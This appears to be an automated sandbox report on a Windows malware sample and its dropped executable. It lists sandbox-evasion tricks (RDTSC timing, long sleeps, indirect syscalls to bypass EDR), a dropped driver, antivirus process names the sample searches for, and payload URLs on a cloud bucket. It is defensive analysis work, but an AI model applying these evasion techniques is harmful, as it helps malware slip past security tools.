Source: C:\Users\user\Documents\O8xg2t.exe	Memory written: PID: 6504 base: 7FFBCB7AD9F0 value: E9 20 26 16 00	Jump to behavior

Malware Analysis System Evasion

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	RDTSC instruction interceptor: First address: 1400010C8 second address: 1400010DF instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 dec eax 0x0000000a mov ecx, eax 0x0000000c nop 0x0000000d nop 0x0000000e dec eax 0x0000000f xor edx, edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 fldpi 0x00000015 frndint 0x00000017 rdtsc
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	RDTSC instruction interceptor: First address: 1400010DF second address: 1400010DF instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 xor ebx, ebx 0x00000009 dec eax 0x0000000a mov ebx, edx 0x0000000c dec eax 0x0000000d or eax, ebx 0x0000000f dec eax 0x00000010 sub eax, ecx 0x00000012 nop 0x00000013 dec ebp 0x00000014 xor edx, edx 0x00000016 dec esp 0x00000017 mov edx, eax 0x00000019 dec ebp 0x0000001a cmp edx, eax 0x0000001c jc 00007F904516E930h 0x0000001e fldpi 0x00000020 frndint 0x00000022 rdtsc

Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Window / User API: threadDelayed 548			Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Window / User API: threadDelayed 451			Jump to behavior

Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe

Dropped PE file which has not been started: C:\Windows\System32\drivers\189atohci.sys

Jump to dropped file

Source: C:\Users\user\Documents\O8xg2t.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_6-14031

Source: C:\Users\user\Documents\O8xg2t.exe	API coverage: 2.7 %
Source: C:\Users\user\Documents\O8xg2t.exe	API coverage: 2.7 %

Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe TID: 7672	Thread sleep count: 548 > 30	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe TID: 7672	Thread sleep time: -274000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe TID: 7672	Thread sleep count: 451 > 30	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe TID: 7672	Thread sleep time: -225500s >= -30000s	Jump to behavior

Source: C:\Users\user\Documents\O8xg2t.exe

Last function: Thread delayed

Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_00007FFBC320A1B8 FindFirstFileExW,		6_2_00007FFBC320A1B8
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_00007FFBC1BAA1B8 FindFirstFileExW,		9_2_00007FFBC1BAA1B8

Source: 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004EC000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2318798939.00000000004E0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Documents\O8xg2t.exe	API call chain: ExitProcess graph end node	graph_6-14032
Source: C:\Users\user\Documents\O8xg2t.exe	API call chain: ExitProcess graph end node	graph_6-14374
Source: C:\Users\user\Documents\O8xg2t.exe	API call chain: ExitProcess graph end node	graph_9-14440
Source: C:\Users\user\Documents\O8xg2t.exe	API call chain: ExitProcess graph end node	graph_9-14096

Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Documents\O8xg2t.exe

Code function: 6_2_00000001400073E0 LdrLoadDll,

6_2_00000001400073E0

Source: C:\Users\user\Documents\O8xg2t.exe

Code function: 6_2_0000000140007C91 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

6_2_0000000140007C91

Source: C:\Users\user\Documents\O8xg2t.exe

Code function: 6_2_000000014000F000 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

6_2_000000014000F000

Source: C:\Users\user\Documents\O8xg2t.exe

Code function: 6_2_0000000140004630 GetProcessHeap,HeapReAlloc,GetProcessHeap,HeapAlloc,

6_2_0000000140004630

Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_0000000140007C91 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_0000000140007C91
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_00000001400106B0 RtlCaptureContext,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00000001400106B0
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_00000001400092E0 SetUnhandledExceptionFilter,	6_2_00000001400092E0
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_00007FFBC32076E0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00007FFBC32076E0
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_00007FFBC3201F50 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00007FFBC3201F50
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_00007FFBC3202630 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00007FFBC3202630
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_0000000140007C91 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_0000000140007C91
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_00000001400106B0 RtlCaptureContext,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00000001400106B0
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_00000001400092E0 SetUnhandledExceptionFilter,	9_2_00000001400092E0
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_00007FFBC1BA2630 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00007FFBC1BA2630
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_00007FFBC1BA1F50 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00007FFBC1BA1F50
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_00007FFBC1BA76E0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00007FFBC1BA76E0

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Documents\O8xg2t.exe	NtProtectVirtualMemory: Indirect: 0x2B4B253	Jump to behavior
Source: C:\Users\user\Documents\O8xg2t.exe	NtAllocateVirtualMemory: Indirect: 0x140006FD0	Jump to behavior
Source: C:\Users\user\Documents\O8xg2t.exe	NtProtectVirtualMemory: Indirect: 0x2A1B253	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	NtDelayExecution: Indirect: 0x1D94D5	Jump to behavior
Source: C:\Users\user\Documents\O8xg2t.exe	NtProtectVirtualMemory: Indirect: 0x299B253	Jump to behavior

Source: C:\Users\user\Documents\O8xg2t.exe

Code function: 6_2_00007FFBC320FD40 cpuid

6_2_00007FFBC320FD40

Source: C:\Users\user\Documents\O8xg2t.exe	Code function: GetLocaleInfoA,		6_2_000000014000F370
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: GetLocaleInfoA,		9_2_000000014000F370

Source: C:\Users\user\Documents\O8xg2t.exe

Code function: 6_2_000000014000A370 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

6_2_000000014000A370

Source: C:\Users\user\Documents\O8xg2t.exe

Code function: 6_2_0000000140005A70 GetStartupInfoW,GetProcessHeap,HeapAlloc,GetVersionExA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

6_2_0000000140005A70

Source: O8xg2t.exe, 00000006.00000002.2420405559.0000000002768000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000007.00000002.2430399393.00000000027E8000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000009.00000002.2640861186.0000000002918000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: kxetray.exe
Source: O8xg2t.exe, 00000006.00000002.2420405559.0000000002768000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000007.00000002.2430399393.00000000027E8000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000009.00000002.2640861186.0000000002918000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: vsserv.exe
Source: O8xg2t.exe, 00000006.00000002.2420405559.0000000002768000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000007.00000002.2430399393.00000000027E8000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000009.00000002.2640861186.0000000002918000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: avcenter.exe
Source: O8xg2t.exe, 00000006.00000002.2420405559.0000000002768000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000007.00000002.2430399393.00000000027E8000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000009.00000002.2640861186.0000000002918000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: KSafeTray.exe
Source: O8xg2t.exe, 00000006.00000002.2420405559.0000000002768000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000007.00000002.2430399393.00000000027E8000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000009.00000002.2640861186.0000000002918000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: O8xg2t.exe, 00000006.00000002.2420405559.0000000002768000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000007.00000002.2430399393.00000000027E8000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000009.00000002.2640861186.0000000002918000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: 360Safe.exe
Source: O8xg2t.exe, 00000006.00000002.2420405559.0000000002768000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000007.00000002.2430399393.00000000027E8000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000009.00000002.2640861186.0000000002918000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: 360tray.exe
Source: O8xg2t.exe, 00000006.00000002.2420405559.0000000002768000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000007.00000002.2430399393.00000000027E8000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000009.00000002.2640861186.0000000002918000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: rtvscan.exe
Source: O8xg2t.exe, 00000006.00000002.2420405559.0000000002768000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000007.00000002.2430399393.00000000027E8000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000009.00000002.2640861186.0000000002918000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: ashDisp.exe
Source: O8xg2t.exe, 00000006.00000002.2420405559.0000000002768000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000007.00000002.2430399393.00000000027E8000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000009.00000002.2640861186.0000000002918000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: TMBMSRV.exe
Source: O8xg2t.exe, 00000006.00000002.2420405559.0000000002768000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000007.00000002.2430399393.00000000027E8000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000009.00000002.2640861186.0000000002918000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: avgwdsvc.exe
Source: O8xg2t.exe, 00000006.00000002.2420405559.0000000002768000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000007.00000002.2430399393.00000000027E8000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000009.00000002.2640861186.0000000002918000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: AYAgent.aye
Source: O8xg2t.exe, 00000006.00000002.2420405559.0000000002768000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000007.00000002.2430399393.00000000027E8000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000009.00000002.2640861186.0000000002918000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: QUHLPSVC.EXE
Source: O8xg2t.exe, 00000006.00000002.2420405559.0000000002768000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000007.00000002.2430399393.00000000027E8000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000009.00000002.2640861186.0000000002918000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: RavMonD.exe
Source: O8xg2t.exe, 00000006.00000002.2420405559.0000000002768000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000007.00000002.2430399393.00000000027E8000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000009.00000002.2640861186.0000000002918000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe
Source: O8xg2t.exe, 00000006.00000002.2420405559.0000000002768000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000007.00000002.2430399393.00000000027E8000.00000002.00001000.00020000.00000000.sdmp, O8xg2t.exe, 00000009.00000002.2640861186.0000000002918000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: K7TSecurity.exe

Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_00000001400042B0 EnterCriticalSection,CancelWaitableTimer,SetEvent,WaitForSingleObject,TerminateThread,CloseHandle,CloseHandle,CloseHandle,RpcServerUnregisterIf,RpcMgmtStopServerListening,EnterCriticalSection,LeaveCriticalSection,DeleteCriticalSection,#4,#4,#4,LeaveCriticalSection,DeleteCriticalSection,#4,	6_2_00000001400042B0
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_0000000140003F80 InitializeCriticalSection,#4,#4,GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,EnterCriticalSection,LeaveCriticalSection,GetVersionExW,RpcSsDontSerializeContext,RpcServerUseProtseqEpW,RpcServerRegisterIfEx,RpcServerListen,CreateWaitableTimerW,CreateEventW,SetWaitableTimer,	6_2_0000000140003F80
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_00000001400042B0 EnterCriticalSection,CancelWaitableTimer,SetEvent,WaitForSingleObject,TerminateThread,CloseHandle,CloseHandle,CloseHandle,RpcServerUnregisterIf,RpcMgmtStopServerListening,EnterCriticalSection,LeaveCriticalSection,DeleteCriticalSection,#4,#4,#4,LeaveCriticalSection,DeleteCriticalSection,#4,	9_2_00000001400042B0
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_0000000140003F80 InitializeCriticalSection,#4,#4,GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,EnterCriticalSection,LeaveCriticalSection,GetVersionExW,RpcSsDontSerializeContext,RpcServerUseProtseqEpW,RpcServerRegisterIfEx,RpcServerListen,CreateWaitableTimerW,CreateEventW,SetWaitableTimer,	9_2_0000000140003F80

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Service Execution	24 Windows Service	1 Access Token Manipulation	31 Masquerading	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Credential API Hooking	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	24 Windows Service	1 Virtualization/Sandbox Evasion	LSASS Memory	131 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Process Injection	1 Access Token Manipulation	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Abuse Elevation Control Mechanism	1 Process Injection	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Obfuscated Files or Information	DCSync	123 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
287438657364-7643738421.08.exe	11%	Virustotal		Browse
287438657364-7643738421.08.exe	8%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\Documents\O8xg2t.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
https://jylhok.oss-cn-beijing.aliyuncs.com/c.gif6	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/q	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/b.gif	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/i.dat	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/s.jpg	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/i.datta	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/b.gifk	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/Zm	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/w	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/s.dat	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/a.gifW	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/Vm	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/a.gif	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/beijing.aliyuncs.com/	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/d.gifta	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/b.gifents	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/a.giff	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/a.gifhttps://jylhok.oss-cn-beijing.aliyuncs.com/b.gifhttp	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/7-2476756634-1003	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/d.gifws	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/d.gif	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/C	0%	Avira URL Cloud	safe
https://jylhok.oss-cn-beijing.aliyuncs.com/c.gif	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
sc-2a1c.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com	39.103.20.48	true	false		unknown
jylhok.oss-cn-beijing.aliyuncs.com	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://jylhok.oss-cn-beijing.aliyuncs.com/s.dat	false	Avira URL Cloud: safe	unknown
https://jylhok.oss-cn-beijing.aliyuncs.com/i.dat	false	Avira URL Cloud: safe	unknown
https://jylhok.oss-cn-beijing.aliyuncs.com/s.jpg	false	Avira URL Cloud: safe	unknown
https://jylhok.oss-cn-beijing.aliyuncs.com/b.gif	false	Avira URL Cloud: safe	unknown
https://jylhok.oss-cn-beijing.aliyuncs.com/a.gif	false	Avira URL Cloud: safe	unknown
https://jylhok.oss-cn-beijing.aliyuncs.com/d.gif	false	Avira URL Cloud: safe	unknown
https://jylhok.oss-cn-beijing.aliyuncs.com/c.gif	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://jylhok.oss-cn-beijing.aliyuncs.com/c.gif6	287438657364-7643738421.08.exe, 00000000.00000003.2318710257.0000000000525000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jylhok.oss-cn-beijing.aliyuncs.com/q	287438657364-7643738421.08.exe, 00000000.00000003.2278187746.00000000004E0000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jylhok.oss-cn-beijing.aliyuncs.com/i.datta	287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jylhok.oss-cn-beijing.aliyuncs.com/b.gifk	287438657364-7643738421.08.exe, 00000000.00000003.2278187746.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2318710257.0000000000525000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 189atohci.sys.0.dr, O8xg2t.exe.0.dr	false		high
https://jylhok.oss-cn-beijing.aliyuncs.com/Zm	287438657364-7643738421.08.exe, 00000000.00000003.2278187746.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2318710257.0000000000525000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jylhok.oss-cn-beijing.aliyuncs.com/w	287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jylhok.oss-cn-beijing.aliyuncs.com/Vm	287438657364-7643738421.08.exe, 00000000.00000003.2318710257.0000000000525000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jylhok.oss-cn-beijing.aliyuncs.com/a.gifW	287438657364-7643738421.08.exe, 00000000.00000003.2259204008.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2318710257.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2260272882.0000000000525000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jylhok.oss-cn-beijing.aliyuncs.com/	287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004D2000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.00000000004E0000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004E0000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2260272882.0000000000525000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jylhok.oss-cn-beijing.aliyuncs.com/beijing.aliyuncs.com/	287438657364-7643738421.08.exe, 00000000.00000003.2318710257.00000000004F6000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2260272882.0000000000500000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	false		high
https://jylhok.oss-cn-beijing.aliyuncs.com/d.gifta	287438657364-7643738421.08.exe, 00000000.00000003.2318798939.00000000004D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jylhok.oss-cn-beijing.aliyuncs.com/7-2476756634-1003	287438657364-7643738421.08.exe, 00000000.00000003.2318710257.00000000004F6000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.00000000004FA000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2260272882.0000000000500000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jylhok.oss-cn-beijing.aliyuncs.com/a.giff	287438657364-7643738421.08.exe, 00000000.00000003.2278187746.00000000004D0000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2318798939.00000000004D0000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 189atohci.sys.0.dr, O8xg2t.exe.0.dr	false		high
